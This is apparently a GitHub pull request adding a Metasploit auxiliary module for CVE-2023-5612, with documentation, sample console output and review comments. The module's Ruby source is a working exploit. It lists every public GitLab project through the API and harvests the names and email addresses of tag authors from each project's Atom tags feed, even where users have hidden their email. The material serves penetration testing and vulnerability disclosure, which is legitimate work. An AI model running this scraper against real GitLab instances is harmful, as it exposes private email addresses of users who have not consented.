-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
module for gitlab public email disclosure CVE-2023-5612 #18821
Changes from 3 commits
fdcd9e2
3203c7c
58eba13
35f8c6c
57eda90
bf59f58
1124e34
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
## Vulnerable Application | ||
|
||
Information disclosure affecting all versions of GitLab | ||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1 | ||
by sending a GET request to the project URI and appending "-/tags" | ||
|
||
## Verification Steps | ||
|
||
### Docker installation instructions can be found here: | ||
|
||
https://docs.gitlab.com/ee/install/docker.html | ||
|
||
Once installed, create a project. Once the projecte is | ||
created, add a new tag by expanding the Code menu item | ||
on the left, then selecting Tags. Then click on the | ||
New Tag button in the top right corner. | ||
|
||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use [module path]` | ||
1. Do: `set RHOSTS [IP]` | ||
1. Do: `run` | ||
1. You should receive output with user names and email addresses assocaited with project tags | ||
|
||
## Options | ||
By default the `TARGETPROJECT` option is empty. This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. If you | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This should be a H3 item like:
|
||
know the specific project you would like to target, you would need to set that here. | ||
|
||
|
||
## Scenarios | ||
### Scrape all Workspaces/Projects | ||
``` | ||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure | ||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 | ||
RHOSTS => 127.0.0.1 | ||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run | ||
[*] Running module against 127.0.0.1 | ||
|
||
[+] [2024.02.09-11:18:23] Scraping ALL projects... | ||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1 | ||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml | ||
[+] [2024.02.09-11:18:23] name: john doe | ||
[+] [2024.02.09-11:18:23] e-mail: [email protected] | ||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2 | ||
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml | ||
[+] [2024.02.09-11:18:23] name: janedoe | ||
[+] [2024.02.09-11:18:23] e-mail: [email protected] | ||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1 | ||
[-] [2024.02.09-11:18:23] No tags or authors found | ||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1 | ||
[-] [2024.02.09-11:18:23] No tags or authors found | ||
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2 | ||
[-] [2024.02.09-11:18:23] No tags or authors found | ||
[*] Auxiliary module execution completed | ||
``` | ||
### Specify Project | ||
``` | ||
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure | ||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1 | ||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1 | ||
TARGETPROJECT => Workspace1/Project1 | ||
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run | ||
[*] Running module against 127.0.0.1 | ||
|
||
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1 | ||
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml | ||
[+] [2024.02.09-11:44:43] name: janedoe | ||
[+] [2024.02.09-11:44:43] e-mail: [email protected] | ||
[*] Auxiliary module execution completed | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'GitLab Tags RSS feed email disclosure', | ||
'Description' => %q{ | ||
An issue has been discovered in GitLab affecting all versions | ||
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. | ||
It is possible to read the user email address via tags feed | ||
although the visibility in the user profile has been disabled. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'n00bhaxor', # msf module | ||
'erruquill' # HackerOne Bug Bounty, analysis | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/428441' ], | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is returning a 404 for me currently There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. looks like this was linked in the CVE report, but is now gone, and archive.org didn't catch it. I think replacing with this may work: https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/ |
||
[ 'URL', 'https://hackerone.com/reports/2208790'], | ||
[ 'CVE', '2023-5612'] | ||
], | ||
'DisclosureDate' => '2024-01-25', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(80), | ||
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']), | ||
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil]) | ||
] | ||
) | ||
end | ||
|
||
def get_contents(tags) | ||
print_status('Check RSS tags feed for: ' + tags) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
I chose |
||
|
||
# Tag needs to be lower case, so... | ||
tags = tags.split('/')[0] + '/' + tags.split('/')[1].downcase | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
|
||
res = send_request_cgi( | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We should check to ensure There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'), | ||
'method' => 'GET', 'vars_get' => { 'format' => 'atom' } | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. add a newline after the comma to make this easier to read |
||
) | ||
|
||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 || res.code == 301 | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. is this correct since the module doesn't take credentials? |
||
|
||
xml_res = res.get_xml_document | ||
|
||
# Check to see if there are any tags with authors | ||
author_element = 'author' | ||
not_found = xml_res.xpath("//xmlns:#{author_element}").empty? | ||
if not_found | ||
print_bad('No tags or authors found') | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. We can make this a little easier to read:
now we can get rid of the else (and end), and un-indent 1 level. |
||
else | ||
loot_path = store_loot('gitlab.RSS.info_disclosure', 'application/xml', datastore['RHOST'], xml_res, 'tag_author_info.xml') | ||
print_good("Output saved to #{loot_path}") | ||
|
||
# Initialze an empty set so we can dedupe authors based on email address | ||
# This only dedupes within a project, not the entirety of Gitlab, | ||
# so forks of projects may show duplicate email addresses. | ||
unique_emails = Set.new | ||
|
||
xml_res.xpath('//xmlns:author').each do |authors| | ||
email = authors.at_xpath('xmlns:email').text | ||
next if unique_emails.include?(email) | ||
|
||
name = authors.at_xpath('xmlns:name').text | ||
print_good("name: #{name}") | ||
print_good("e-mail: #{email}") | ||
unique_emails << email | ||
end | ||
end | ||
end | ||
|
||
def run | ||
if datastore['TARGETPROJECT'].nil? | ||
print_good('Scraping ALL projects...') | ||
request = { | ||
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'), | ||
'method' => 'GET', 'vars_get' => { | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. add a newline after the comma to make it a little easier to read |
||
'output_mode' => 'json' | ||
} | ||
} | ||
|
||
res = send_request_cgi(request) | ||
|
||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 | ||
|
||
res.get_json_document.each do |entry| | ||
tags = entry['path_with_namespace'] | ||
get_contents(tags) | ||
end | ||
|
||
else | ||
get_contents(datastore['TARGETPROJECT'].to_s) | ||
end | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I would re-arrange this, similar to above.
then you can remove the else (and trailing end), and unindent by 1 level |
||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This can be removed, its from the webapp template which needs to be updated. |
||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Move this block under Vulnerable Applications block, after the description paragraph